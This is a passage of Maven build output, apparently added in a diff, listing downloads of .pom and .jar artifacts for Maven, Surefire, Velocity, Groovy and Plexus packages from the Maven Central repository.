+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/3.0/maven-settings-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/3.0/maven-settings-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/1.0/maven-toolchain-1.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/1.0/maven-toolchain-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/2.0.6/maven-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/2.0/maven-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/2.2.1/maven-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/3.0/maven-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/3.9.9/maven-3.9.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugin-tools/maven-plugin-annotations/3.5.2/maven-plugin-annotations-3.5.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugin-tools/maven-plugin-annotations/3.5.2/maven-plugin-annotations-3.5.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugin-tools/maven-plugin-tools/3.5.2/maven-plugin-tools-3.5.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-clean-plugin/3.1.0/maven-clean-plugin-3.1.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-clean-plugin/3.1.0/maven-clean-plugin-3.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-compiler-plugin/3.8.0/maven-compiler-plugin-3.8.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-compiler-plugin/3.8.0/maven-compiler-plugin-3.8.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-dependency-plugin/3.7.0/maven-dependency-plugin-3.7.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-dependency-plugin/3.7.0/maven-dependency-plugin-3.7.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-enforcer-plugin/3.5.0/maven-enforcer-plugin-3.5.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-enforcer-plugin/3.5.0/maven-enforcer-plugin-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-enforcer-plugin/maven-metadata.xml
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-jar-plugin/3.0.2/maven-jar-plugin-3.0.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-jar-plugin/3.0.2/maven-jar-plugin-3.0.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/30/maven-plugins-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/31/maven-plugins-31.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/32/maven-plugins-32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/42/maven-plugins-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-resources-plugin/3.0.2/maven-resources-plugin-3.0.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-resources-plugin/3.0.2/maven-resources-plugin-3.0.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-surefire-plugin/2.22.1/maven-surefire-plugin-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-surefire-plugin/2.22.1/maven-surefire-plugin-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.1.1/maven-reporting-api-3.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.1.1/maven-reporting-api-3.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-impl/3.2.0/maven-reporting-impl-3.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-impl/3.2.0/maven-reporting-impl-3.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting/2.0.6/maven-reporting-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-api/1.4.1/maven-resolver-api-1.4.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-api/1.4.1/maven-resolver-api-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-util/1.4.1/maven-resolver-util-1.4.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-util/1.4.1/maven-resolver-util-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver/1.4.1/maven-resolver-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-artifact-transfer/0.13.1/maven-artifact-transfer-0.13.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-artifact-transfer/0.13.1/maven-artifact-transfer-0.13.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-common-artifact-filters/3.1.0/maven-common-artifact-filters-3.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-common-artifact-filters/3.3.2/maven-common-artifact-filters-3.3.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-common-artifact-filters/3.3.2/maven-common-artifact-filters-3.3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-analyzer/1.14.1/maven-dependency-analyzer-1.14.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-analyzer/1.14.1/maven-dependency-analyzer-1.14.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-tree/3.3.0/maven-dependency-tree-3.3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-tree/3.3.0/maven-dependency-tree-3.3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-filtering/3.1.1/maven-filtering-3.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-filtering/3.1.1/maven-filtering-3.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/15/maven-shared-components-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/18/maven-shared-components-18.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/19/maven-shared-components-19.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/21/maven-shared-components-21.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/30/maven-shared-components-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/33/maven-shared-components-33.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/34/maven-shared-components-34.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/37/maven-shared-components-37.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/39/maven-shared-components-39.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/42/maven-shared-components-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/0.1/maven-shared-utils-0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.0/maven-shared-utils-3.0.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.0/maven-shared-utils-3.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.1/maven-shared-utils-3.0.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.1/maven-shared-utils-3.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.1.0/maven-shared-utils-3.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.2.1/maven-shared-utils-3.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.2.1/maven-shared-utils-3.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.3.4/maven-shared-utils-3.3.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.4.2/maven-shared-utils-3.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.4.2/maven-shared-utils-3.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/maven-surefire-common/2.22.1/maven-surefire-common-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/maven-surefire-common/2.22.1/maven-surefire-common-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-api/2.22.1/surefire-api-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-api/2.22.1/surefire-api-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-booter/2.22.1/surefire-booter-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-booter/2.22.1/surefire-booter-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-logger-api/2.22.1/surefire-logger-api-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-logger-api/2.22.1/surefire-logger-api-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire/2.22.1/surefire-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity/1.6.2/velocity-1.6.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity/1.7/velocity-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity/1.7/velocity-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/assertj/assertj-bom/3.25.3/assertj-bom-3.25.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy-xml/3.0.9/groovy-xml-3.0.9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy-xml/3.0.9/groovy-xml-3.0.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy/3.0.9/groovy-3.0.9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy/3.0.9/groovy-3.0.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/mojo/exec-maven-plugin/1.1.1/exec-maven-plugin-1.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/mojo/exec-maven-plugin/1.1.1/exec-maven-plugin-1.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/mojo/mojo-parent/20/mojo-parent-20.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/3.3/plexus-archiver-3.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/3.4/plexus-archiver-3.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/3.4/plexus-archiver-3.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/4.9.2/plexus-archiver-4.9.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/4.9.2/plexus-archiver-4.9.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-api/2.8.4/plexus-compiler-api-2.8.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-api/2.8.4/plexus-compiler-api-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-javac/2.8.4/plexus-compiler-javac-2.8.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-javac/2.8.4/plexus-compiler-javac-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-manager/2.8.4/plexus-compiler-manager-2.8.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-manager/2.8.4/plexus-compiler-manager-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler/2.8.4/plexus-compiler-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compilers/2.8.4/plexus-compilers-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.5.4/plexus-component-annotations-1.5.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.6/plexus-component-annotations-1.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.6/plexus-component-annotations-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.7.1/plexus-component-annotations-1.7.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.7.1/plexus-component-annotations-1.7.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/2.0.0/plexus-component-annotations-2.0.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/2.0.0/plexus-component-annotations-2.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/2.1.0/plexus-component-annotations-2.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.1.12/plexus-components-1.1.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.1.14/plexus-components-1.1.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.1.18/plexus-components-1.1.18.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.3.1/plexus-components-1.3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/4.0/plexus-components-4.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/6.6/plexus-components-6.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/plexus-container-default-1.0-alpha-9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/plexus-container-default-1.0-alpha-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.0.3/plexus-containers-1.0.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.5.4/plexus-containers-1.5.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.6/plexus-containers-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.7.1/plexus-containers-1.7.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/2.0.0/plexus-containers-2.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/2.1.0/plexus-containers-2.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-i18n/1.0-beta-10/plexus-i18n-1.0-beta-10.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-i18n/1.0-beta-10/plexus-i18n-1.0-beta-10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.22/plexus-interpolation-1.22.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.24/plexus-interpolation-1.24.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.24/plexus-interpolation-1.24.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.26/plexus-interpolation-1.26.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.26/plexus-interpolation-1.26.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/2.7.1/plexus-io-2.7.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/2.7.1/plexus-io-2.7.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/3.4.2/plexus-io-3.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/3.4.2/plexus-io-3.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-java/0.9.10/plexus-java-0.9.10.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-java/0.9.10/plexus-java-0.9.10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-languages/0.9.10/plexus-languages-0.9.10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-resources/1.2.0/plexus-resources-1.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-resources/1.2.0/plexus-resources-1.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.0.4/plexus-utils-1.0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.4.1/plexus-utils-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.5/plexus-utils-1.5.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.8/plexus-utils-1.5.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/2.0.4/plexus-utils-2.0.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/2.0.4/plexus-utils-2.0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/2.0.5/plexus-utils-2.0.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.0.22/plexus-utils-3.0.22.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.0.24/plexus-utils-3.0.24.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.0.24/plexus-utils-3.0.24.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.4.1/plexus-utils-3.4.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.4.1/plexus-utils-3.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/4.0.1/plexus-utils-4.0.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/4.0.1/plexus-utils-4.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-velocity/1.2/plexus-velocity-1.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-velocity/1.2/plexus-velocity-1.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-xml/3.0.0/plexus-xml-3.0.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-xml/3.0.0/plexus-xml-3.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.10/plexus-1.0.10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.11/plexus-1.0.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.12/plexus-1.0.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.4/plexus-1.0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/13/plexus-13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/16/plexus-16.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/17/plexus-17.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.2/plexus-2.0.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.5/plexus-2.0.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.6/plexus-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.7/plexus-2.0.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/3.2/plexus-3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/3.3.1/plexus-3.3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/3.3.2/plexus-3.3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/4.0/plexus-4.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/5.1/plexus-5.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/8/plexus-8.pom
